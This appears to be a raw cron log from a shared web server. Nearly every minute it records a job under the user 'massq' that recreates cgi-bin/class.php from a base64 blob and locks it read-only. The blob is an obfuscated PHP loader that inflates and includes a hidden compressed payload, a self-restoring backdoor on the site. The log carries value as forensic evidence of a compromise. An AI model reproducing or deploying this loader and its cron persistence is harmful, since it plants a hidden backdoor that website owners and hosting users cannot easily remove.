Nov  9 14:06:01 server CROND[27177]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 14:07:01 server CROND[27912]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 14:08:01 server CROND[28438]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 14:09:01 server CROND[29222]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov  9 14:09:01 server CROND[29223]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 14:10:01 server CROND[30084]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 14:10:01 server CROND[30085]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 14:10:01 server CROND[30086]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov  9 14:10:01 server CROND[30087]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 14:11:01 server CROND[31061]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 14:12:01 server CROND[32035]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 14:12:01 server CROND[32036]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov  9 14:13:01 server CROND[402]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 14:14:01 server CROND[1238]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 14:15:01 server CROND[2080]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 14:15:01 server CROND[2081]: (root) CMD (/usr/local/cpanel/bin/dbindex &gt;/dev/null 2&gt;&amp;1)
Nov  9 14:15:01 server CROND[2082]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 14:15:01 server CROND[2084]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 14:16:01 server CROND[3231]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 14:17:01 server CROND[4058]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 14:18:01 server CROND[4876]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
